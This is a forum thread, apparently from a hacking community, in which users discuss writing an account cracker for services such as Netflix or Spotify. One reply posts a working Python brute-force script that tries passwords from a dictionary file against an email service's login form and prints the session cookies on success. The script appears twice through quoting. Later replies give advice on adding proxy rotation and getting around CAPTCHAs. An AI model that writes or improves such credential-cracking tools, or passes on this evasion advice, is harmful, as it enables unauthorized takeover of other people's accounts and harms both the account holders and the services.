Coding a Cracker

Hello everyone, I want to code an account cracker for netflix or spotify or whatever for educational purposes ( I know sentry mba exist that's why it's educational) to understand how it's done and what libs and functions to use. I know the basic syntax and have some knowledge of python 3, javascript, C# and C++. I have looked around on the internet for some info, but since cracking accounts isn't actually very legal I didn't find much about which language is best to do such a thing and besides there are tools coded in C#, C++ and python so I don't know which to use. It's probably partly preference but what is the best language to code an account cracker in ? and what are the libs/functions I need to use. btw I am using a mac so windows.h and that kinda stuff in c++ doesn't work. Also, is perl worth learning for cracking ?

Thank you for reading and helping me out <3

Originally Posted by BlueCow

Seems very interesting, I can't help you so far but I'd like you to keep us updated in your work

Good luck with that

Cool! Good luck and keep us updated!

Originally Posted by K4LI

Seems very interesting, I can't help you so far but I'd like you to keep us updated in your work

Good luck with that

Originally Posted by gusitis00

Cool! Good luck and keep us updated!

I'll do some more research and update if I find anything useful, Thanks for the support.

Alright, so I'm not sure about this I think I should start off by using the cURL library : website
I'm gonna try to use this to visit a web page, enter some values stored in variables and retrieve information on the webpage to see if the credentials are valid or not. Also, for those on Windows that are using Visual Studio I found a good text tutorial that explains how to install, link, include and use libcurl, you can find it here.
I'm not an awesome programmer so I might fail but it looks like cURL can do all of this.

i feel like something like this should be coded in c#.
maybe thats just me being biased as a c# programmer but still.

honestly most of the time these shitty crackers people sell are coded in vb. personally i think vb is the pussy of coding but whatever. you should be fine with any .net languages so c# would also be fine. GL with cURL i havent done anything with that before

Originally Posted by MaxGen

That is exactly why I don't want to use VB or C# but it seems like they are the easiest to code a cracker.

Originally Posted by BlueCow

That is exactly why I don't want to use VB or C# but it seems like they are the easiest to code a cracker.

you know what if you dont need great graphical interface you should think about python. its great you can do almost anything with that

I'd go python. Its a super easy language to write a brute forcer in. Here's an example of one I wrote for an email service. No proxy support or captcha bypass though. Just a basic example.

Code:

    import requests, sys
    from bs4 import BeautifulSoup

    ses = requests.Session()
    login = ses.get('https://www.gm*****.uk/#.1730818-header-navlogin2-1')

    soup_login = BeautifulSoup(login.content, 'html5lib').find('form').find_all('input')
    loginDict = {}
    for u in soup_login:
        if u.has_attr('value'):
            loginDict[u['name']] = u['value']
    loginDict['username'] = 'hackmereddit@gm*****.uk'

    with open('dict.txt', 'r') as dict:
        for word in dict:
            word = word.strip()
            loginDict['password'] = word
            resp = ses.post('https://login.gm*****.uk/login', data=loginDict)
            print(word)
            if '.navigator-bs.gm*****.uk' in resp.cookies.list_domains():
                print(word)
                print(resp.cookies)
                sys.exit()

Originally Posted by Nimboso

I'd go python. Its a super easy language to write a brute forcer in. Here's an example of one I wrote for an email service. No proxy support or captcha bypass though. Just a basic example.

Code:

    import requests, sys
    from bs4 import BeautifulSoup

    ses = requests.Session()
    login = ses.get('https://www.gm*****.uk/#.1730818-header-navlogin2-1')

    soup_login = BeautifulSoup(login.content, 'html5lib').find('form').find_all('input')
    loginDict = {}
    for u in soup_login:
        if u.has_attr('value'):
            loginDict[u['name']] = u['value']
    loginDict['username'] = 'hackmereddit@gm*****.uk'

    with open('dict.txt', 'r') as dict:
        for word in dict:
            word = word.strip()
            loginDict['password'] = word
            resp = ses.post('https://login.gm*****.uk/login', data=loginDict)
            print(word)
            if '.navigator-bs.gm*****.uk' in resp.cookies.list_domains():
                print(word)
                print(resp.cookies)
                sys.exit()

Nice !! Would it be possible to add captcha bypass and proxy support using some libs though ?! If so, I'm going straight for python, besides I did a bit of research and although it is not really easy to do it is possible to make gui's in python.

Originally Posted by BlueCow

Yeah its relatively easy to add socks proxy support. Captcha bypassing is harder though. There are OCR libraries that can bypass basic captcha, but if they use recaptcha you'll have to go with a service like DeathByacapthca, but thats the same for every language.

A large part of bypassing captchas is finding a way to make the web app not require it. I think I found something for steam but I need to keep testing, and I've definitely found one for neopets lol.

Originally Posted by MaxGen

i think vb is the pussy of coding but whatever.

It has simpler syntax. Apart from that, anything achieved in C# can be achieved in vb.net and vice versa.

So, I think I'm gonna go for pyhton and try to make a v1 without proxies and if it turns out not too bad I'll make a v2. Thanks for your help guys ! Btw, I'm on mac and I was thinking of going for Pycharm as the IDE (https://www.jetbrains.com/pycharm/?fromMenu) does anyone know if it's good or if I should use something else ? Thanks !!

Originally Posted by BlueCow

Pycharm is a good one, it's what I use.

Coding a Cracker

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